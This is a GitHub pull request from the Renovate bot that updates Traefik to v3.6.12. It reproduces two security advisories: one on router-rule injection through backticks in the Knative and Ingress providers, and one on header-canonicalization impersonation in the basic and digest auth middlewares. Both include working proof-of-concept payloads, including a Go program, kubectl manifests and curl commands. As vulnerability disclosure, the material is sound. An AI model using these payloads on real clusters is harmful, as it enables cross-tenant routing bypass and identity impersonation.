Skip to content

Update module github.com/traefik/traefik/v3 to v3.6.12 [SECURITY]#59

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/go-github.com-traefik-traefik-v3-vulnerability
Open

Update module github.com/traefik/traefik/v3 to v3.6.12 [SECURITY]#59
renovate[bot] wants to merge 1 commit intomainfrom
renovate/go-github.com-traefik-traefik-v3-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Jan 16, 2026

This PR contains the following updates:

Package Change Age Confidence
github.com/traefik/traefik/v3 v3.6.4v3.6.12 age confidence

GitHub Vulnerability Alerts

CVE-2026-32695

Summary

There is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.

User-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description

Summary

Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative rules[].hosts[] was exploitable for host restriction bypass (for example tenant.example.com) || Host(attacker.com), producing a router that serves attacker-controlled hosts. Knative headers[].exact also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.

Tested on Traefik v3.6.10; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.

Details

The issue is caused by unsafe rule-string construction using fmt.Sprintf with backtick-delimited literals.

Incriminated code patterns:

  • pkg/provider/kubernetes/knative/kubernetes.go

    • fmt.Sprintf("Host(%v)", host)
    • fmt.Sprintf("Header(%s,%s)", key, headers[key].Exact)
    • fmt.Sprintf("PathPrefix(%s)", path)
  • pkg/provider/kubernetes/ingress/kubernetes.go

    • fmt.Sprintf("Host(%s)", host)
    • fmt.Sprintf("(Path(%[1]s) || PathPrefix(%[1]s/))", path)
  • pkg/provider/kubernetes/ingress-nginx/kubernetes.go (hardening candidate; not the primary confirmed vector in this report)

    • fmt.Sprintf("Header(%s, %s)", c.Header, c.HeaderValue)
    • related host/path/header concatenations with backticks

Because inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload:

  • x) || Host(attacker.com

When used as a header value in Knative rule construction, the resulting rule contains:

  • Header(X-Poc,x) || Host(attacker.com)

This alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (hosts[] vs headers[].exact) this can become a direct routing bypass.

Important scope note:

  • Gateway API code path (pkg/provider/kubernetes/gateway/httproute.go) already uses safer %q formatting for header/query rules and is not affected by this exact pattern.
  • For standard Kubernetes Ingress, spec.rules.host is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked).
  • For Knative Ingress, rules[].hosts[] and headers[].exact are typed as string in CRD schema with no pattern constraint.
  • In this validation environment, rules[].hosts[] was accepted and produced a practical host bypass. headers[].exact was also accepted and produced rule-syntax injection in generated routers.
  • Ingress-NGINX patterns are included as follow-up hardening targets and are not claimed as independently exploitable here.
  • Exploitability depends on admission/validation policy and who can create these resources.

PoC

  1. Local deterministic PoC (no cluster required):
  • Run:
    • Save the inline PoC below as poc_build_rule.go
    • Run go run poc_build_rule.go
  • Observe output:
    • Legitimate rule: (Host(tenant.example.com)) && (Header(X-API-Key,secret123)) && PathPrefix(/)
    • Malicious rule: (Host(tenant.example.com)) && (Header(X-API-Key,x) || Host(attacker.com)) && PathPrefix(/)
  • This proves syntax injection in current string-construction logic.

Inline PoC code (self-contained):

package main

import (
	"fmt"
	"sort"
	"strings"
)

func buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {
	var operands []string

	if len(hosts) > 0 {
		var hostRules []string
		for _, host := range hosts {
			hostRules = append(hostRules, fmt.Sprintf("Host(`%v`)", host))
		}
		operands = append(operands, fmt.Sprintf("(%s)", strings.Join(hostRules, " || ")))
	}

	if len(headers) > 0 {
		headerKeys := make([]string, 0, len(headers))
		for k := range headers {
			headerKeys = append(headerKeys, k)
		}
		sort.Strings(headerKeys)

		var headerRules []string
		for _, key := range headerKeys {
			headerRules = append(headerRules, fmt.Sprintf("Header(`%s`,`%s`)", key, headers[key].Exact))
		}
		operands = append(operands, fmt.Sprintf("(%s)", strings.Join(headerRules, " && ")))
	}

	if len(path) > 0 {
		operands = append(operands, fmt.Sprintf("PathPrefix(`%s`)", path))
	}

	return strings.Join(operands, " && ")
}

func main() {
	legitHeaders := map[string]struct{ Exact string }{
		"X-API-Key": {Exact: "secret123"},
	}
	fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, legitHeaders, "/"))

	maliciousHeaders := map[string]struct{ Exact string }{
		"X-API-Key": {Exact: "x`) || Host(`attacker.com"},
	}
	fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, maliciousHeaders, "/"))

	// Safe variant example (Gateway-style):
	fmt.Println(fmt.Sprintf("Header(%q,%q)", "X-API-Key", "x`) || Host(`attacker.com"))
}
  1. Cluster PoC (Knative host injection, primary / practical bypass):
  • Preconditions:
    • Kubernetes test cluster with Knative Serving.
    • Traefik configured with Knative provider.
  • Apply manifest:
    • kubectl apply -f - <<'YAML'
apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
  name: poc-host-injection
  namespace: default
  annotations:
    # This exact key worked in live validation:
    networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
  rules:
    - hosts:
        - 'tenant.example.com`) || Host(`attacker.com'
      visibility: External
      http:
        paths:
          - path: "/"
            splits:
              - percent: 100
                serviceName: dummy
                serviceNamespace: default
                servicePort: 80
YAML
  • (If API version mismatch, adjust between networking.internal.knative.dev/v1alpha1 and networking.knative.dev/v1alpha1.)
  • Verify:
    • Check Traefik router rule contains: (Host(tenant.example.com) || Host(attacker.com)) && PathPrefix(/).
    • Request with Host: attacker.com returns backend 200.
    • This demonstrates host restriction bypass in practice.
  1. Cluster PoC (Knative header injection, confirms rule-syntax injection):
  • Apply:
    • kubectl apply -f - <<'YAML'
apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
  name: poc-rule-injection
  namespace: default
  annotations:
    networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
  rules:
    - hosts:
        - "tenant.example.com"
      visibility: External
      http:
        paths:
          - path: "/"
            headers:
              X-Poc:
                exact: 'x`) || Host(`attacker.com'
            splits:
              - percent: 100
                serviceName: dummy
                serviceNamespace: default
                servicePort: 80
YAML
  • Verify:
    • Inspect generated Traefik dynamic router rule (API/dashboard/logs).
    • Confirm injected fragment || Host(attacker.com) is present.
    • Send request with Host: attacker.com and no expected tenant header (expected: 404 for this payload shape, because leading Host(tenant) still applies).
    • Send request with Host: tenant.example.com and X-Poc: x (expected: 200 from backend).
  1. Optional Ingress PoC (scope check):
  • Apply:
    • kubectl apply -f - <<'YAML'
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: poc-ingress-host-injection
  namespace: default
  annotations:
    kubernetes.io/ingress.class: traefik
spec:
  rules:
    - host: 'tenant.example.com`) || Host(`attacker.com'
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: dummy
                port:
                  number: 80
YAML
  • Expected in most clusters: API server rejects this payload because Ingress host must satisfy DNS-1123.
  • Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.

Validation executed in this report:

  • Local deterministic PoC executed with go run and output matched expected injected rule.
  • Live cluster test executed on local kind cluster (kind-traefik-poc) with Traefik v3.6.10 and Knative Serving CRDs.
  • Annotation key confirmed in this environment: networking.knative.dev/ingress.class (dot). The hyphen variant was not used by the successful processing path.
  • Traefik API/logs confirmed generated routers included injected expressions.
  • Live HTTP request with Host: attacker.com reached backend (200) for Knative host-injection payload.

Impact

  • Vulnerability type: Rule injection / authorization bypass at routing layer.
  • Primary impact: Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services.
  • Who is impacted: Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation.
  • Security consequences: Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.

CVE-2026-33433

Summary

There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.

An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.


Original Description

Summary

When headerField is configured with a non-canonical HTTP header name (e.g., x-auth-user instead of X-Auth-User), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write.

Tested on Traefik v3.6.10.

Details

At pkg/middlewares/auth/basic_auth.go:92, the authenticated username is written using direct map assignment:

req.Header[b.headerField] = []string{user}

Go's http.Header map is keyed by canonical names (e.g., X-Auth-User). Direct assignment with a non-canonical key (x-auth-user) creates a separate map entry from any canonical-key entry already present. The attacker's X-Auth-User: superadmin occupies the canonical slot and is never overwritten by Traefik's non-canonical write.

The same bug exists in pkg/middlewares/auth/digest_auth.go:100. Notably, forward.go:254 correctly uses http.CanonicalHeaderKey(), showing the fix pattern already exists in the codebase.

PoC

Traefik config (YAML, Docker labels, or REST API):

middlewares:
  auth:
    basicAuth:
      users: ["admin:$2y$05$..."]
      headerField: "x-auth-user"

Normal request (baseline):

curl -u admin:admin http://traefik/secure/test

# Backend receives: x-auth-user: admin
# Identity = admin ✓

Attack request:

curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test

# Backend receives BOTH headers:
#   X-Auth-User: superadmin   ← attacker-injected (canonical key, read first by most frameworks)

#   x-auth-user: admin        ← Traefik-set (non-canonical, ignored by most frameworks)
# Identity seen by backend = superadmin ✗

Control test — when headerField uses canonical casing (X-Auth-User), the attack fails. Traefik's write correctly overwrites the attacker's header.

This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the headerField header is recommended in Traefik's own documentation.

Fix suggestion:

// basic_auth.go:92 and digest_auth.go:100 — change:
req.Header[b.headerField] = []string{user}
// to:
req.Header.Set(b.headerField, user)

Also strip any incoming headerField header before the auth check with req.Header.Del(b.headerField).

Impact

An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the headerField header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin.

The attack requires the operator to configure headerField with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.


Release Notes

traefik/traefik (github.com/traefik/traefik/v3)

v3.6.12

Compare Source

All Commits

Bug fixes:

Documentation:

v3.6.11

Compare Source

All Commits

Bug fixes:

Documentation:

v3.6.10

Compare Source

All Commits

Bug fixes:

Documentation:

v3.6.9

Compare Source

All Commits

Bug fixes:

  • [acme] Bump github.com/go-acme/lego/v4 to v4.32.0 (#​12702 by ldez)
  • [middleware] Fix case sensitivity on x-forwarded headers for Connection (#​12690 by LBF38)
  • [middleware, authentication] Handle empty/missing User-Agent header (#​12545 by a-stangl)
  • [middleware, authentication] Add maxResponseBodySize configuration to forwardAuth middleware (#​12694 by gndz07)
  • [server] Fix TLS handshake error handling (#​12692 by juliens)

Documentation:

v3.6.8

Compare Source

All Commits

Bug fixes:

Documentation:

Misc:

v3.6.7

Compare Source

All Commits

Bug fixes:

Documentation:

Misc:

v3.6.6

Compare Source

All Commits

Bug fixes:

  • [acme] Bump github.com/go-acme/lego/v4 to v4.31.0 (#​12529 by ldez)
  • [acme] Add missing renew options (#​12467 by ldez)
  • [acme] Replace hardcoded references to LetsEncrypt in log messages (#​12464 by schildbach)
  • [k8s/ingress-nginx] Fix use-regex nginx annotation (#​12531 by LBF38)
  • [k8s/ingress-nginx] Prevent Ingress Nginx provider http router to attach to an entrypoint with TLS (#​12528 by rtribotte)
  • [k8s/ingress] Fix panic for empty defaultBackend and defaultBackend without resources (#​12509 by gndz07)
  • [k8s] Fix condition used for serving and fenced endpoints (#​12521 by LBF38)
  • [webui] Validate X-Forwarded-Prefix value for dashboard redirect (#​12514 by LBF38)
  • [acme] Add timeout to ACME-TLS/1 challenge handshake (#​12516 by LBF38)
  • [server] Make encoded character options opt-in (#​12540 by gndz07)

Documentation:

Misc:

v3.6.5

Compare Source

All Commits

Bug fixes:

Documentation:

Misc:


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
Copy link
Copy Markdown
Contributor Author

renovate bot commented Jan 16, 2026

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 16 additional dependencies were updated

Details:

Package Change
github.com/go-acme/lego/v4 v4.31.0 -> v4.33.0
github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.8 -> v2.28.0
go.opentelemetry.io/otel v1.40.0 -> v1.41.0
go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc v0.16.0 -> v0.17.0
go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp v0.16.0 -> v0.17.0
go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.40.0 -> v1.41.0
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.40.0 -> v1.41.0
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.40.0 -> v1.41.0
go.opentelemetry.io/otel/log v0.16.0 -> v0.17.0
go.opentelemetry.io/otel/metric v1.40.0 -> v1.41.0
go.opentelemetry.io/otel/sdk v1.40.0 -> v1.41.0
go.opentelemetry.io/otel/sdk/log v0.16.0 -> v0.17.0
go.opentelemetry.io/otel/trace v1.40.0 -> v1.41.0
go.yaml.in/yaml/v2 v2.4.2 -> v2.4.3
google.golang.org/grpc v1.79.0 -> v1.79.3
golang.org/x/net v0.50.0 -> v0.51.0

@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v3-vulnerability branch from 8895808 to a6e8eb2 Compare February 12, 2026 19:52
@renovate renovate bot changed the title Update module github.com/traefik/traefik/v3 to v3.6.7 [SECURITY] Update module github.com/traefik/traefik/v3 to v3.6.8 [SECURITY] Feb 12, 2026
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v3-vulnerability branch from a6e8eb2 to 3d67655 Compare February 12, 2026 22:59
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v3-vulnerability branch from 3d67655 to 5809add Compare February 24, 2026 14:10
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v3-vulnerability branch from 5809add to 4cca449 Compare March 5, 2026 01:11
@renovate renovate bot changed the title Update module github.com/traefik/traefik/v3 to v3.6.8 [SECURITY] Update module github.com/traefik/traefik/v3 to v3.6.9 [SECURITY] Mar 5, 2026
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v3-vulnerability branch 2 times, most recently from 985b34a to eea5f86 Compare March 12, 2026 17:48
@renovate renovate bot changed the title Update module github.com/traefik/traefik/v3 to v3.6.9 [SECURITY] Update module github.com/traefik/traefik/v3 to v3.6.10 [SECURITY] Mar 12, 2026
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v3-vulnerability branch from eea5f86 to 01d2d73 Compare March 22, 2026 01:17
@renovate renovate bot changed the title Update module github.com/traefik/traefik/v3 to v3.6.10 [SECURITY] Update module github.com/traefik/traefik/v3 to v3.6.11 [SECURITY] Mar 22, 2026
@renovate renovate bot changed the title Update module github.com/traefik/traefik/v3 to v3.6.11 [SECURITY] Update module github.com/traefik/traefik/v3 to v3.6.11 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/go-github.com-traefik-traefik-v3-vulnerability branch March 27, 2026 01:07
@renovate renovate bot changed the title Update module github.com/traefik/traefik/v3 to v3.6.11 [SECURITY] - autoclosed Update module github.com/traefik/traefik/v3 to v3.6.11 [SECURITY] Mar 27, 2026
@renovate renovate bot reopened this Mar 27, 2026
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v3-vulnerability branch from 01d2d73 to 2def3a9 Compare March 27, 2026 21:25
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v3-vulnerability branch from 2def3a9 to 9bf985d Compare March 28, 2026 01:44
@renovate renovate bot changed the title Update module github.com/traefik/traefik/v3 to v3.6.11 [SECURITY] Update module github.com/traefik/traefik/v3 to v3.6.12 [SECURITY] Mar 28, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants